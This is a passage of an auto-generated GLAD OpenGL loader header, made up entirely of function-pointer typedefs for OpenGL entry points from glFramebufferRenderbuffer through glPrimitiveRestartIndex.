typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERRENDERBUFFERPROC)(GLenum target, GLenum attachment, GLenum renderbuffertarget, GLuint renderbuffer);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERRENDERBUFFEREXTPROC)(GLenum target, GLenum attachment, GLenum renderbuffertarget, GLuint renderbuffer);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTUREPROC)(GLenum target, GLenum attachment, GLuint texture, GLint level);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURE1DPROC)(GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURE1DEXTPROC)(GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURE2DPROC)(GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURE2DEXTPROC)(GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURE3DPROC)(GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLint zoffset);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURE3DEXTPROC)(GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLint zoffset);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTURELAYERPROC)(GLenum target, GLenum attachment, GLuint texture, GLint level, GLint layer);
typedef void (GLAD_API_PTR *PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC)(GLenum target, GLenum attachment, GLuint texture, GLint level, GLint baseViewIndex, GLsizei numViews);
typedef void (GLAD_API_PTR *PFNGLFRONTFACEPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLFRUSTUMPROC)(GLdouble left, GLdouble right, GLdouble bottom, GLdouble top, GLdouble zNear, GLdouble zFar);
typedef void (GLAD_API_PTR *PFNGLGENBUFFERSPROC)(GLsizei n, GLuint * buffers);
typedef void (GLAD_API_PTR *PFNGLGENFRAMEBUFFERSPROC)(GLsizei n, GLuint * framebuffers);
typedef void (GLAD_API_PTR *PFNGLGENFRAMEBUFFERSEXTPROC)(GLsizei n, GLuint * framebuffers);
typedef GLuint (GLAD_API_PTR *PFNGLGENLISTSPROC)(GLsizei range);
typedef void (GLAD_API_PTR *PFNGLGENQUERIESPROC)(GLsizei n, GLuint * ids);
typedef void (GLAD_API_PTR *PFNGLGENRENDERBUFFERSPROC)(GLsizei n, GLuint * renderbuffers);
typedef void (GLAD_API_PTR *PFNGLGENRENDERBUFFERSEXTPROC)(GLsizei n, GLuint * renderbuffers);
typedef void (GLAD_API_PTR *PFNGLGENSAMPLERSPROC)(GLsizei count, GLuint * samplers);
typedef void (GLAD_API_PTR *PFNGLGENTEXTURESPROC)(GLsizei n, GLuint * textures);
typedef void (GLAD_API_PTR *PFNGLGENVERTEXARRAYSPROC)(GLsizei n, GLuint * arrays);
typedef void (GLAD_API_PTR *PFNGLGENERATEMIPMAPPROC)(GLenum target);
typedef void (GLAD_API_PTR *PFNGLGENERATEMIPMAPEXTPROC)(GLenum target);
typedef void (GLAD_API_PTR *PFNGLGETACTIVEATTRIBPROC)(GLuint program, GLuint index, GLsizei bufSize, GLsizei * length, GLint * size, GLenum * type, GLchar * name);
typedef void (GLAD_API_PTR *PFNGLGETACTIVEUNIFORMPROC)(GLuint program, GLuint index, GLsizei bufSize, GLsizei * length, GLint * size, GLenum * type, GLchar * name);
typedef void (GLAD_API_PTR *PFNGLGETACTIVEUNIFORMBLOCKNAMEPROC)(GLuint program, GLuint uniformBlockIndex, GLsizei bufSize, GLsizei * length, GLchar * uniformBlockName);
typedef void (GLAD_API_PTR *PFNGLGETACTIVEUNIFORMBLOCKIVPROC)(GLuint program, GLuint uniformBlockIndex, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETACTIVEUNIFORMNAMEPROC)(GLuint program, GLuint uniformIndex, GLsizei bufSize, GLsizei * length, GLchar * uniformName);
typedef void (GLAD_API_PTR *PFNGLGETACTIVEUNIFORMSIVPROC)(GLuint program, GLsizei uniformCount, const GLuint * uniformIndices, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETATTACHEDSHADERSPROC)(GLuint program, GLsizei maxCount, GLsizei * count, GLuint * shaders);
typedef GLint (GLAD_API_PTR *PFNGLGETATTRIBLOCATIONPROC)(GLuint program, const GLchar * name);
typedef void (GLAD_API_PTR *PFNGLGETBOOLEANI_VPROC)(GLenum target, GLuint index, GLboolean * data);
typedef void (GLAD_API_PTR *PFNGLGETBOOLEANVPROC)(GLenum pname, GLboolean * data);
typedef void (GLAD_API_PTR *PFNGLGETBUFFERPARAMETERI64VPROC)(GLenum target, GLenum pname, GLint64 * params);
typedef void (GLAD_API_PTR *PFNGLGETBUFFERPARAMETERIVPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETBUFFERPOINTERVPROC)(GLenum target, GLenum pname, void ** params);
typedef void (GLAD_API_PTR *PFNGLGETBUFFERSUBDATAPROC)(GLenum target, GLintptr offset, GLsizeiptr size, void * data);
typedef void (GLAD_API_PTR *PFNGLGETCLIPPLANEPROC)(GLenum plane, GLdouble * equation);
typedef void (GLAD_API_PTR *PFNGLGETCOMPRESSEDTEXIMAGEPROC)(GLenum target, GLint level, void * img);
typedef GLuint (GLAD_API_PTR *PFNGLGETDEBUGMESSAGELOGARBPROC)(GLuint count, GLsizei bufSize, GLenum * sources, GLenum * types, GLuint * ids, GLenum * severities, GLsizei * lengths, GLchar * messageLog);
typedef void (GLAD_API_PTR *PFNGLGETDOUBLEVPROC)(GLenum pname, GLdouble * data);
typedef GLenum (GLAD_API_PTR *PFNGLGETERRORPROC)(void);
typedef void (GLAD_API_PTR *PFNGLGETFLOATVPROC)(GLenum pname, GLfloat * data);
typedef GLint (GLAD_API_PTR *PFNGLGETFRAGDATAINDEXPROC)(GLuint program, const GLchar * name);
typedef GLint (GLAD_API_PTR *PFNGLGETFRAGDATALOCATIONPROC)(GLuint program, const GLchar * name);
typedef void (GLAD_API_PTR *PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC)(GLenum target, GLenum attachment, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVEXTPROC)(GLenum target, GLenum attachment, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETINTEGER64I_VPROC)(GLenum target, GLuint index, GLint64 * data);
typedef void (GLAD_API_PTR *PFNGLGETINTEGER64VPROC)(GLenum pname, GLint64 * data);
typedef void (GLAD_API_PTR *PFNGLGETINTEGERI_VPROC)(GLenum target, GLuint index, GLint * data);
typedef void (GLAD_API_PTR *PFNGLGETINTEGERVPROC)(GLenum pname, GLint * data);
typedef void (GLAD_API_PTR *PFNGLGETLIGHTFVPROC)(GLenum light, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETLIGHTIVPROC)(GLenum light, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETMAPDVPROC)(GLenum target, GLenum query, GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLGETMAPFVPROC)(GLenum target, GLenum query, GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLGETMAPIVPROC)(GLenum target, GLenum query, GLint * v);
typedef void (GLAD_API_PTR *PFNGLGETMATERIALFVPROC)(GLenum face, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETMATERIALIVPROC)(GLenum face, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETMULTISAMPLEFVPROC)(GLenum pname, GLuint index, GLfloat * val);
typedef void (GLAD_API_PTR *PFNGLGETPIXELMAPFVPROC)(GLenum map, GLfloat * values);
typedef void (GLAD_API_PTR *PFNGLGETPIXELMAPUIVPROC)(GLenum map, GLuint * values);
typedef void (GLAD_API_PTR *PFNGLGETPIXELMAPUSVPROC)(GLenum map, GLushort * values);
typedef void (GLAD_API_PTR *PFNGLGETPOINTERVPROC)(GLenum pname, void ** params);
typedef void (GLAD_API_PTR *PFNGLGETPOLYGONSTIPPLEPROC)(GLubyte * mask);
typedef void (GLAD_API_PTR *PFNGLGETPROGRAMBINARYPROC)(GLuint program, GLsizei bufSize, GLsizei * length, GLenum * binaryFormat, void * binary);
typedef void (GLAD_API_PTR *PFNGLGETPROGRAMINFOLOGPROC)(GLuint program, GLsizei bufSize, GLsizei * length, GLchar * infoLog);
typedef void (GLAD_API_PTR *PFNGLGETPROGRAMIVPROC)(GLuint program, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETQUERYOBJECTI64VPROC)(GLuint id, GLenum pname, GLint64 * params);
typedef void (GLAD_API_PTR *PFNGLGETQUERYOBJECTIVPROC)(GLuint id, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETQUERYOBJECTUI64VPROC)(GLuint id, GLenum pname, GLuint64 * params);
typedef void (GLAD_API_PTR *PFNGLGETQUERYOBJECTUIVPROC)(GLuint id, GLenum pname, GLuint * params);
typedef void (GLAD_API_PTR *PFNGLGETQUERYIVPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETRENDERBUFFERPARAMETERIVPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETRENDERBUFFERPARAMETERIVEXTPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETSAMPLERPARAMETERIIVPROC)(GLuint sampler, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETSAMPLERPARAMETERIUIVPROC)(GLuint sampler, GLenum pname, GLuint * params);
typedef void (GLAD_API_PTR *PFNGLGETSAMPLERPARAMETERFVPROC)(GLuint sampler, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETSAMPLERPARAMETERIVPROC)(GLuint sampler, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETSHADERINFOLOGPROC)(GLuint shader, GLsizei bufSize, GLsizei * length, GLchar * infoLog);
typedef void (GLAD_API_PTR *PFNGLGETSHADERSOURCEPROC)(GLuint shader, GLsizei bufSize, GLsizei * length, GLchar * source);
typedef void (GLAD_API_PTR *PFNGLGETSHADERIVPROC)(GLuint shader, GLenum pname, GLint * params);
typedef const GLubyte * (GLAD_API_PTR *PFNGLGETSTRINGPROC)(GLenum name);
typedef const GLubyte * (GLAD_API_PTR *PFNGLGETSTRINGIPROC)(GLenum name, GLuint index);
typedef void (GLAD_API_PTR *PFNGLGETSYNCIVPROC)(GLsync sync, GLenum pname, GLsizei count, GLsizei * length, GLint * values);
typedef void (GLAD_API_PTR *PFNGLGETTEXENVFVPROC)(GLenum target, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXENVIVPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXGENDVPROC)(GLenum coord, GLenum pname, GLdouble * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXGENFVPROC)(GLenum coord, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXGENIVPROC)(GLenum coord, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXIMAGEPROC)(GLenum target, GLint level, GLenum format, GLenum type, void * pixels);
typedef void (GLAD_API_PTR *PFNGLGETTEXLEVELPARAMETERFVPROC)(GLenum target, GLint level, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXLEVELPARAMETERIVPROC)(GLenum target, GLint level, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXPARAMETERIIVPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXPARAMETERIUIVPROC)(GLenum target, GLenum pname, GLuint * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXPARAMETERFVPROC)(GLenum target, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETTEXPARAMETERIVPROC)(GLenum target, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETTRANSFORMFEEDBACKVARYINGPROC)(GLuint program, GLuint index, GLsizei bufSize, GLsizei * length, GLsizei * size, GLenum * type, GLchar * name);
typedef GLuint (GLAD_API_PTR *PFNGLGETUNIFORMBLOCKINDEXPROC)(GLuint program, const GLchar * uniformBlockName);
typedef void (GLAD_API_PTR *PFNGLGETUNIFORMINDICESPROC)(GLuint program, GLsizei uniformCount, const GLchar *const* uniformNames, GLuint * uniformIndices);
typedef GLint (GLAD_API_PTR *PFNGLGETUNIFORMLOCATIONPROC)(GLuint program, const GLchar * name);
typedef void (GLAD_API_PTR *PFNGLGETUNIFORMFVPROC)(GLuint program, GLint location, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETUNIFORMIVPROC)(GLuint program, GLint location, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETUNIFORMUIVPROC)(GLuint program, GLint location, GLuint * params);
typedef void (GLAD_API_PTR *PFNGLGETVERTEXATTRIBIIVPROC)(GLuint index, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLGETVERTEXATTRIBIUIVPROC)(GLuint index, GLenum pname, GLuint * params);
typedef void (GLAD_API_PTR *PFNGLGETVERTEXATTRIBPOINTERVPROC)(GLuint index, GLenum pname, void ** pointer);
typedef void (GLAD_API_PTR *PFNGLGETVERTEXATTRIBDVPROC)(GLuint index, GLenum pname, GLdouble * params);
typedef void (GLAD_API_PTR *PFNGLGETVERTEXATTRIBFVPROC)(GLuint index, GLenum pname, GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLGETVERTEXATTRIBIVPROC)(GLuint index, GLenum pname, GLint * params);
typedef void (GLAD_API_PTR *PFNGLHINTPROC)(GLenum target, GLenum mode);
typedef void (GLAD_API_PTR *PFNGLINDEXMASKPROC)(GLuint mask);
typedef void (GLAD_API_PTR *PFNGLINDEXPOINTERPROC)(GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLINDEXDPROC)(GLdouble c);
typedef void (GLAD_API_PTR *PFNGLINDEXDVPROC)(const GLdouble * c);
typedef void (GLAD_API_PTR *PFNGLINDEXFPROC)(GLfloat c);
typedef void (GLAD_API_PTR *PFNGLINDEXFVPROC)(const GLfloat * c);
typedef void (GLAD_API_PTR *PFNGLINDEXIPROC)(GLint c);
typedef void (GLAD_API_PTR *PFNGLINDEXIVPROC)(const GLint * c);
typedef void (GLAD_API_PTR *PFNGLINDEXSPROC)(GLshort c);
typedef void (GLAD_API_PTR *PFNGLINDEXSVPROC)(const GLshort * c);
typedef void (GLAD_API_PTR *PFNGLINDEXUBPROC)(GLubyte c);
typedef void (GLAD_API_PTR *PFNGLINDEXUBVPROC)(const GLubyte * c);
typedef void (GLAD_API_PTR *PFNGLINITNAMESPROC)(void);
typedef void (GLAD_API_PTR *PFNGLINTERLEAVEDARRAYSPROC)(GLenum format, GLsizei stride, const void * pointer);
typedef GLboolean (GLAD_API_PTR *PFNGLISBUFFERPROC)(GLuint buffer);
typedef GLboolean (GLAD_API_PTR *PFNGLISENABLEDPROC)(GLenum cap);
typedef GLboolean (GLAD_API_PTR *PFNGLISENABLEDIPROC)(GLenum target, GLuint index);
typedef GLboolean (GLAD_API_PTR *PFNGLISFRAMEBUFFERPROC)(GLuint framebuffer);
typedef GLboolean (GLAD_API_PTR *PFNGLISFRAMEBUFFEREXTPROC)(GLuint framebuffer);
typedef GLboolean (GLAD_API_PTR *PFNGLISLISTPROC)(GLuint list);
typedef GLboolean (GLAD_API_PTR *PFNGLISPROGRAMPROC)(GLuint program);
typedef GLboolean (GLAD_API_PTR *PFNGLISQUERYPROC)(GLuint id);
typedef GLboolean (GLAD_API_PTR *PFNGLISRENDERBUFFERPROC)(GLuint renderbuffer);
typedef GLboolean (GLAD_API_PTR *PFNGLISRENDERBUFFEREXTPROC)(GLuint renderbuffer);
typedef GLboolean (GLAD_API_PTR *PFNGLISSAMPLERPROC)(GLuint sampler);
typedef GLboolean (GLAD_API_PTR *PFNGLISSHADERPROC)(GLuint shader);
typedef GLboolean (GLAD_API_PTR *PFNGLISSYNCPROC)(GLsync sync);
typedef GLboolean (GLAD_API_PTR *PFNGLISTEXTUREPROC)(GLuint texture);
typedef GLboolean (GLAD_API_PTR *PFNGLISVERTEXARRAYPROC)(GLuint array);
typedef void (GLAD_API_PTR *PFNGLLIGHTMODELFPROC)(GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLLIGHTMODELFVPROC)(GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLLIGHTMODELIPROC)(GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLLIGHTMODELIVPROC)(GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLLIGHTFPROC)(GLenum light, GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLLIGHTFVPROC)(GLenum light, GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLLIGHTIPROC)(GLenum light, GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLLIGHTIVPROC)(GLenum light, GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLLINESTIPPLEPROC)(GLint factor, GLushort pattern);
typedef void (GLAD_API_PTR *PFNGLLINEWIDTHPROC)(GLfloat width);
typedef void (GLAD_API_PTR *PFNGLLINKPROGRAMPROC)(GLuint program);
typedef void (GLAD_API_PTR *PFNGLLISTBASEPROC)(GLuint base);
typedef void (GLAD_API_PTR *PFNGLLOADIDENTITYPROC)(void);
typedef void (GLAD_API_PTR *PFNGLLOADMATRIXDPROC)(const GLdouble * m);
typedef void (GLAD_API_PTR *PFNGLLOADMATRIXFPROC)(const GLfloat * m);
typedef void (GLAD_API_PTR *PFNGLLOADNAMEPROC)(GLuint name);
typedef void (GLAD_API_PTR *PFNGLLOADTRANSPOSEMATRIXDPROC)(const GLdouble * m);
typedef void (GLAD_API_PTR *PFNGLLOADTRANSPOSEMATRIXFPROC)(const GLfloat * m);
typedef void (GLAD_API_PTR *PFNGLLOGICOPPROC)(GLenum opcode);
typedef void (GLAD_API_PTR *PFNGLMAP1DPROC)(GLenum target, GLdouble u1, GLdouble u2, GLint stride, GLint order, const GLdouble * points);
typedef void (GLAD_API_PTR *PFNGLMAP1FPROC)(GLenum target, GLfloat u1, GLfloat u2, GLint stride, GLint order, const GLfloat * points);
typedef void (GLAD_API_PTR *PFNGLMAP2DPROC)(GLenum target, GLdouble u1, GLdouble u2, GLint ustride, GLint uorder, GLdouble v1, GLdouble v2, GLint vstride, GLint vorder, const GLdouble * points);
typedef void (GLAD_API_PTR *PFNGLMAP2FPROC)(GLenum target, GLfloat u1, GLfloat u2, GLint ustride, GLint uorder, GLfloat v1, GLfloat v2, GLint vstride, GLint vorder, const GLfloat * points);
typedef void * (GLAD_API_PTR *PFNGLMAPBUFFERPROC)(GLenum target, GLenum access);
typedef void * (GLAD_API_PTR *PFNGLMAPBUFFERRANGEPROC)(GLenum target, GLintptr offset, GLsizeiptr length, GLbitfield access);
typedef void (GLAD_API_PTR *PFNGLMAPGRID1DPROC)(GLint un, GLdouble u1, GLdouble u2);
typedef void (GLAD_API_PTR *PFNGLMAPGRID1FPROC)(GLint un, GLfloat u1, GLfloat u2);
typedef void (GLAD_API_PTR *PFNGLMAPGRID2DPROC)(GLint un, GLdouble u1, GLdouble u2, GLint vn, GLdouble v1, GLdouble v2);
typedef void (GLAD_API_PTR *PFNGLMAPGRID2FPROC)(GLint un, GLfloat u1, GLfloat u2, GLint vn, GLfloat v1, GLfloat v2);
typedef void (GLAD_API_PTR *PFNGLMATERIALFPROC)(GLenum face, GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLMATERIALFVPROC)(GLenum face, GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLMATERIALIPROC)(GLenum face, GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLMATERIALIVPROC)(GLenum face, GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLMATRIXMODEPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLMULTMATRIXDPROC)(const GLdouble * m);
typedef void (GLAD_API_PTR *PFNGLMULTMATRIXFPROC)(const GLfloat * m);
typedef void (GLAD_API_PTR *PFNGLMULTTRANSPOSEMATRIXDPROC)(const GLdouble * m);
typedef void (GLAD_API_PTR *PFNGLMULTTRANSPOSEMATRIXFPROC)(const GLfloat * m);
typedef void (GLAD_API_PTR *PFNGLMULTIDRAWARRAYSPROC)(GLenum mode, const GLint * first, const GLsizei * count, GLsizei drawcount);
typedef void (GLAD_API_PTR *PFNGLMULTIDRAWELEMENTSPROC)(GLenum mode, const GLsizei * count, GLenum type, const void *const* indices, GLsizei drawcount);
typedef void (GLAD_API_PTR *PFNGLMULTIDRAWELEMENTSBASEVERTEXPROC)(GLenum mode, const GLsizei * count, GLenum type, const void *const* indices, GLsizei drawcount, const GLint * basevertex);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1DPROC)(GLenum target, GLdouble s);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1DVPROC)(GLenum target, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1FPROC)(GLenum target, GLfloat s);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1FVPROC)(GLenum target, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1IPROC)(GLenum target, GLint s);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1IVPROC)(GLenum target, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1SPROC)(GLenum target, GLshort s);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD1SVPROC)(GLenum target, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2DPROC)(GLenum target, GLdouble s, GLdouble t);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2DVPROC)(GLenum target, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2FPROC)(GLenum target, GLfloat s, GLfloat t);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2FVPROC)(GLenum target, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2IPROC)(GLenum target, GLint s, GLint t);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2IVPROC)(GLenum target, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2SPROC)(GLenum target, GLshort s, GLshort t);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD2SVPROC)(GLenum target, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3DPROC)(GLenum target, GLdouble s, GLdouble t, GLdouble r);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3DVPROC)(GLenum target, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3FPROC)(GLenum target, GLfloat s, GLfloat t, GLfloat r);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3FVPROC)(GLenum target, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3IPROC)(GLenum target, GLint s, GLint t, GLint r);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3IVPROC)(GLenum target, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3SPROC)(GLenum target, GLshort s, GLshort t, GLshort r);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD3SVPROC)(GLenum target, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4DPROC)(GLenum target, GLdouble s, GLdouble t, GLdouble r, GLdouble q);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4DVPROC)(GLenum target, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4FPROC)(GLenum target, GLfloat s, GLfloat t, GLfloat r, GLfloat q);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4FVPROC)(GLenum target, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4IPROC)(GLenum target, GLint s, GLint t, GLint r, GLint q);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4IVPROC)(GLenum target, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4SPROC)(GLenum target, GLshort s, GLshort t, GLshort r, GLshort q);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORD4SVPROC)(GLenum target, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP1UIPROC)(GLenum texture, GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP1UIVPROC)(GLenum texture, GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP2UIPROC)(GLenum texture, GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP2UIVPROC)(GLenum texture, GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP3UIPROC)(GLenum texture, GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP3UIVPROC)(GLenum texture, GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP4UIPROC)(GLenum texture, GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLMULTITEXCOORDP4UIVPROC)(GLenum texture, GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLNEWLISTPROC)(GLuint list, GLenum mode);
typedef void (GLAD_API_PTR *PFNGLNORMAL3BPROC)(GLbyte nx, GLbyte ny, GLbyte nz);
typedef void (GLAD_API_PTR *PFNGLNORMAL3BVPROC)(const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLNORMAL3DPROC)(GLdouble nx, GLdouble ny, GLdouble nz);
typedef void (GLAD_API_PTR *PFNGLNORMAL3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLNORMAL3FPROC)(GLfloat nx, GLfloat ny, GLfloat nz);
typedef void (GLAD_API_PTR *PFNGLNORMAL3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLNORMAL3IPROC)(GLint nx, GLint ny, GLint nz);
typedef void (GLAD_API_PTR *PFNGLNORMAL3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLNORMAL3SPROC)(GLshort nx, GLshort ny, GLshort nz);
typedef void (GLAD_API_PTR *PFNGLNORMAL3SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLNORMALP3UIPROC)(GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLNORMALP3UIVPROC)(GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLNORMALPOINTERPROC)(GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLORTHOPROC)(GLdouble left, GLdouble right, GLdouble bottom, GLdouble top, GLdouble zNear, GLdouble zFar);
typedef void (GLAD_API_PTR *PFNGLPASSTHROUGHPROC)(GLfloat token);
typedef void (GLAD_API_PTR *PFNGLPIXELMAPFVPROC)(GLenum map, GLsizei mapsize, const GLfloat * values);
typedef void (GLAD_API_PTR *PFNGLPIXELMAPUIVPROC)(GLenum map, GLsizei mapsize, const GLuint * values);
typedef void (GLAD_API_PTR *PFNGLPIXELMAPUSVPROC)(GLenum map, GLsizei mapsize, const GLushort * values);
typedef void (GLAD_API_PTR *PFNGLPIXELSTOREFPROC)(GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLPIXELSTOREIPROC)(GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLPIXELTRANSFERFPROC)(GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLPIXELTRANSFERIPROC)(GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLPIXELZOOMPROC)(GLfloat xfactor, GLfloat yfactor);
typedef void (GLAD_API_PTR *PFNGLPOINTPARAMETERFPROC)(GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLPOINTPARAMETERFVPROC)(GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLPOINTPARAMETERIPROC)(GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLPOINTPARAMETERIVPROC)(GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLPOINTSIZEPROC)(GLfloat size);
typedef void (GLAD_API_PTR *PFNGLPOLYGONMODEPROC)(GLenum face, GLenum mode);
typedef void (GLAD_API_PTR *PFNGLPOLYGONOFFSETPROC)(GLfloat factor, GLfloat units);
typedef void (GLAD_API_PTR *PFNGLPOLYGONSTIPPLEPROC)(const GLubyte * mask);
typedef void (GLAD_API_PTR *PFNGLPOPATTRIBPROC)(void);
typedef void (GLAD_API_PTR *PFNGLPOPCLIENTATTRIBPROC)(void);
typedef void (GLAD_API_PTR *PFNGLPOPMATRIXPROC)(void);
typedef void (GLAD_API_PTR *PFNGLPOPNAMEPROC)(void);
typedef void (GLAD_API_PTR *PFNGLPRIMITIVERESTARTINDEXPROC)(GLuint index);
